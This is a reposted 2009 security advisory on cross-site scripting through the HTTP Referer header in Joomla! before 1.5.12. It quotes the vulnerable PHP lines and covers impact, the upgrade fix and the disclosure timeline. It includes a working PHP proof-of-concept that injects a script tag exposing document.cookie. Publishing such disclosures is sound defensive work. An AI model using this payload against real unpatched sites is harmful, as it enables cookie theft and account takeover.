joomla1512-xss.txt
Posted on 02 July 2009
============================================= INTERNET SECURITY AUDITORS ALERT 2009-007 - Original release date: June 30th, 2009 - Last revised: July 2nd, 2009 - Discovered by: Juan Galiana Lara - Severity: 6.8/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- Joomla! < 1.5.12 Multiple XSS vulnerabilities in HTTP Headers II. BACKGROUND ------------------------- Joomla! is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla! the most popular Web site software available. Best of all, Joomla! is an open source solution that is freely available to everyone. III. DESCRIPTION ------------------------- Joomla! fails to sanitized user supplied input. An attacker can inject JavaScript or DHTML code that will be executed in the context of targeted user browser, allowing him to steal cookies. HTTP headers are not properly parsed, concretly the HTTP_REFERER variable. Snippet of vulnerable code: Line 225 of file components/com_content/views/article/tmpl/form.php is vunerable. 221 <input type="hidden" name="option" value="com_content" /> 222 <input type="hidden" name="id" value="<?php echo $this->article->id; ?>" /> 223 <input type="hidden" name="version" value="<?php echo $this->article->version; ?>" /> 224 <input type="hidden" name="created_by" value="<?php echo $this->article->created_by; ?>" /> 225 <input type="hidden" name="referer" value="<?php echo @$_SERVER['HTTP_REFERER']; ?>" /> 226 <?php echo JHTML::_( 'form.token' ); ?> 227 <input type="hidden" name="task" value="" /> 228 </form> Other parts of code may be affected: components/com_user/controller.php:86: $return = @$_SERVER['HTTP_REFERER']; plugins/system/legacy/html.php:246: echo '<a href="'. $_SERVER['HTTP_REFERER'] .'"><span class="small">'. JText::_( 'BACK' ) .'</span></a>'; templates/beez/html/com_content/article/form.php:186: <input type="hidden" name="referer" value="<?php echo @$_SERVER['HTTP_REFERER']; ?>" /> IV. PROOF OF CONCEPT ------------------------- An attacker can redirect the victim to a site with this script for executing javascript code in the victim's browser. The PoC creates a crafted HTTP request with malicious data in the HTTP_REFERER header. In order to succesfully exploit it, an account with any role is needed. For example, an user with any role can escalate privileges to administrator. <?php /* PoC: XSS Joomla 1.5.11 Juan Galiana Lara Internet Security Auditors Jun 2009 */ /* config */ $site='localhost'; $path='/joomla-1.5.11'; $cookname='d85558a8cf943386aaa374896bfd3d99'; $cookvalue='4ab56fdd83bcad86289726aead602699'; class cURL { var $headers; var $user_agent; var $compression; var $cookie_file; var $proxy; /* evil script */ var $xss='alert("PWN PWN PWN: " + document.cookie);'; function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') { $this->headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; $this->headers[] = 'Connection: Keep-Alive'; $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8'; $this->headers[] = 'Referer: "><script>' . $this->xss .'</script><span a="'; $this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'; $this->compression=$compression; $this->proxy=$proxy; $this->cookies=$cookies; if ($this->cookies == TRUE) $this->cookie($cookie); } function cookie($cookie_file) { if (file_exists($cookie_file)) { $this->cookie_file=$cookie_file; } else { fopen($cookie_file,'w') or $this->error('The cookie file could not be opened. Check permissions'); $this->cookie_file=$cookie_file; fclose($this->cookie_file); } } function get($url) { $process = curl_init($url); curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers); curl_setopt($process, CURLOPT_HEADER, 0); curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent); if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file); if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file); curl_setopt($process,CURLOPT_ENCODING , $this->compression); curl_setopt($process, CURLOPT_TIMEOUT, 30); if ($this->proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port'); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); $return = curl_exec($process); curl_close($process); return $return; } function error($error) { echo $error; die; } } /* set cookie */ $f=fopen("cookies.txt","w"); fwrite($f,"localhost FALSE / FALSE 0 $cookname $cookvalue "); fclose($f); /* do request */ $cc = new cURL(); $c=$cc->get('http://' . $site . $path . '/index.php?option=com_content&view=article&layout=form'); /* let's execute some javascript.. }:-)*/ echo $c; ?> V. BUSINESS IMPACT ------------------------- An attacker can exploit the vulnerability to inyect DHTML and JavaScript code in the context of the web browser. This may lead in steal the targeted user cookies and gain access to the user account icluding administrator privileges. VI. SYSTEMS AFFECTED ------------------------- Joomla! versions prior and including 1.5.11 are vulnerable. VII. SOLUTION ------------------------- Upgrade to version 1.5.12 VIII. REFERENCES ------------------------- http://www.joomla.org http://www.isecauditors.com IX. CREDITS ------------------------- This vulnerability has been discovered by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com). X. REVISION HISTORY ------------------------- June 30, 2009: Initial release. July 02, 2009: Last revision. XI. DISCLOSURE TIMELINE ------------------------- June 30, 2009: Discovered by Internet Security Auditors. June 30, 2009: Vendor contacted. Fast response. July 01, 2009: Joomla! publish update. Great job. July 02, 2009: Advisory published. XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
